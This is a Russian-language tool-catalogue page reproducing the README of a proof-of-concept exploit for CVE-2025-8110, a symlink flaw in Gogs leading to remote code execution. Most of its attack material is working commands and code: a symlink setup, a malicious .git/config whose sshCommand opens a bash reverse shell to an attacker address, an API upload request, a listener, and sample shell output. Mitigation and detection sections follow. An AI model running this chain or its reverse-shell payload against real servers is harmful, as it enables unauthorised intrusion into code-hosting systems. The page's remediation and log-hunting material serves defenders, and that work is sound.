Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-8110 — PoC-эксплойт для CVE-2025-8110 | Kitploit
Инструменты/GitHubGitHub/joaquinrrr/cve-2025-8110
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

PoC-эксплойт для CVE-2025-8110

Репозиторий
512 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-8110

Удалённое выполнение кода через симлинк в репозитории Gogs

Создано oguiii


Содержание

  • Обзор
  • Возможности
  • Требования
  • Установка
  • Использование
  • Схема работы эксплойта
  • Технический анализ
  • Демонстрация Proof of Concept
  • Затронутые версии
  • Меры по устранению
  • Обнаружение
  • Отказ от ответственности
  • Лицензия

Обзор

CVE-2025-8110 — критическая уязвимость в Gogs, которая позволяет аутентифицированным злоумышленникам добиться удалённого выполнения кода через манипуляцию симлинками в репозиториях. Данный proof of concept демонстрирует полную цепочку эксплуатации — от аутентификации до получения reverse shell.

Уязвимость существует из-за того, что Gogs переходит по симлинкам при обработке файлов репозитория через свой API, что позволяет злоумышленнику читать и изменять чувствительные файлы, например . Внедряя вредоносную директиву , можно выполнять произвольные системные команды с привилегиями учётной записи службы Gogs.

.git/config
sshCommand

Оценка CVSS: 7.2 (Высокая)
Вектор атаки: Сетевой
Требуется аутентификация: Да
Взаимодействие с пользователем: Нет
Влияние: Полная компрометация системы


Возможности

  • Автоматическое извлечение CSRF-токена с несколькими резервными методами
  • Управление сессиями и обработка аутентификации
  • Автоматическое создание репозитория с настраиваемыми параметрами
  • Схема эксплуатации на основе симлинков
  • Генерация полезной нагрузки reverse shell
  • Поддержка прокси для отладки и анализа
  • Подробное логирование и обработка ошибок
  • Цветной вывод в консоль для улучшения читаемости
  • Подробный режим (verbose) для диагностики

Требования

Системные требования

  • Python 3.6 или выше
  • Установленный Git, доступный через PATH
  • Сетевой доступ к целевой инстанции Gogs

Зависимости Python

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Установка

Клонирование и настройка

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Структура проекта

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # Main exploit script
├── requirements.txt    # Python dependencies
└── README.md          # Documentation

Использование

Параметры командной строки

ОпцияОписаниеОбязательный
-u, --urlБазовый URL Gogs (например, https://gogs.example.com)Да
-lh, --hostIP-адрес атакующего для reverse shellДа
-lp, --portПорт атакующего для reverse shellДа
-U, --usernameИмя пользователя GogsДа
-P, --passwordПароль GogsДа
-x, --proxyВключить прокси (localhost:8080)Нет
-v, --verboseВключить подробный выводНет

Базовое использование

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

С прокси для отладки

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Подробный режим для диагностики

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Схема работы эксплойта

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

Технический анализ

Первопричина уязвимости

Gogs не выполняет надлежащую санитизацию обхода симлинков при обработке файлов репозитория через свой API. Когда к файлу обращаются через конечную точку API, Gogs переходит по симлинкам без проверки, что позволяет получить доступ к чувствительным файлам за пределами каталога репозитория.

Детали вектора атаки

  1. Создание симлинка

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Вредоносная конфигурация

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Эксплуатация через API

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Анализ кода

Извлечение CSRF-токена

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Внедрение вредоносной конфигурации

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Демонстрация Proof of Concept

Настройка атаки

root@kitploit:~
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Вывод при успешной эксплуатации

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Подключение reverse shell

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Затронутые версии

Уязвимые версии

  • Версии Gogs до 0.12.6
  • Все версии с включённой поддержкой симлинков (конфигурация по умолчанию)

Проверка версии

Чтобы проверить версию Gogs:

root@kitploit:~
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version

Меры по устранению

Немедленные действия

  1. Обновите Gogs

    root@kitploit:~
    # Backup existing installation
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # Download and install latest version
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. Отключите поддержку симлинков

    root@kitploit:~
    # In custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. Внедрите проверку входных данных

    • Выполняйте санитизацию путей к файлам перед обработкой
    • Предотвращайте обход через симлинки
    • Проверяйте типы файлов и их содержимое

Долгосрочные меры безопасности

  • Применяйте принцип минимальных привилегий для учётной записи службы Gogs
  • Регулярные аудиты безопасности и тестирование на проникновение
  • Сегментация сети для ограничения доступности Gogs
  • Внедрение правил межсетевого экрана для веб-приложений (WAF)
  • Включение комплексного логирования и мониторинга
  • Регулярное резервное копирование конфигурации и репозиториев Gogs

Правила межсетевого экрана

root@kitploit:~
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

Обнаружение

Индикаторы подозрительной активности

  1. Активность в репозиториях

    • Создание репозиториев с симлинками
    • Создание нескольких репозиториев за короткий промежуток времени
    • Необычные имена репозиториев (случайные hex-строки)
  2. Активность API

    • PUT-запросы к /api/v1/repos/*/contents/*
    • Изменение .git/config через API
    • Высокая частота API-запросов из одной сессии
  3. Системные индикаторы

    • Неожиданные процессы, запущенные пользователем Gogs
    • Исходящие сетевые соединения с сервера Gogs
    • Необычные паттерны доступа к файловой системе

Команды анализа журналов

root@kitploit:~
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l

# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Monitor for outbound connections
ss -tunp | grep gogs

Интеграция с SIEM

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

Ответственное раскрытие

Эта уязвимость была обнаружена и ответственно раскрыта команде разработчиков Gogs. Вендор выпустил исправление в версии 0.12.6.

Хронология

  • Обнаружение: май 2025
  • Ответственное раскрытие: июнь 2025
  • Выпуск исправления: июнь 2025
  • Публичное раскрытие: июнь 2025

Дополнительные ресурсы

  • Официальные бюллетени безопасности Gogs
  • CWE-61: Переход по символическим ссылкам UNIX
  • Руководство по тестированию OWASP — Path Traversal
  • Документация Git hooks
  • Документация Gogs API

Отказ от ответственности

Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности. Пользователи обязаны:

  1. Получить явное письменное разрешение перед тестированием любой системы
  2. Соблюдать все применимые законы и нормативные акты
  3. Использовать этот инструмент ответственно и этично
  4. Не использовать этот инструмент в любых вредоносных или несанкционированных целях

Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим инструментом.


Лицензия

Лицензия MIT

Copyright (c) 2025 oguiii

Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и связанных с ним файлов документации (далее — «Программное обеспечение»), свободно использовать Программное обеспечение без ограничений, включая, без ограничений, права использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставлено Программное обеспечение, делать это при соблюдении следующих условий:

Приведённое выше уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или значительные части Программного обеспечения.

ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЁННОЙ ЦЕЛИ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА КАКИЕ-ЛИБО ПРЕТЕНЗИИ, УБЫТКИ ИЛИ ИНУЮ ОТВЕТСТВЕННОСТЬ, ВОЗНИКАЮЩУЮ В РЕЗУЛЬТАТЕ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, ИЗ-ЗА ИСПОЛЬЗОВАНИЯ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ ИЛИ ИНЫХ ДЕЙСТВИЙ С НИМ.


Контакты

  • GitHub: github.com/oguiii
  • Проект: Эксплойт CVE-2025-8110

Благодарности

  • Первоначальное обнаружение: zAbuQasem
  • Публикация CVE: MITRE Corporation
  • Сообщество: исследователи безопасности и специалисты по тестированию на проникновение, подтвердившие уязвимость

Журнал изменений

Версия 1.0.0 (2025-06-25)

  • Первоначальный выпуск
  • Реализация полной цепочки эксплуатации
  • Извлечение CSRF-токена с резервными методами
  • Автоматическое создание репозитория и загрузка симлинка
  • Генерация полезной нагрузки reverse shell
  • Поддержка прокси для отладки
  • Полная документация

Создано с душой: oguiii

Скачать инструмент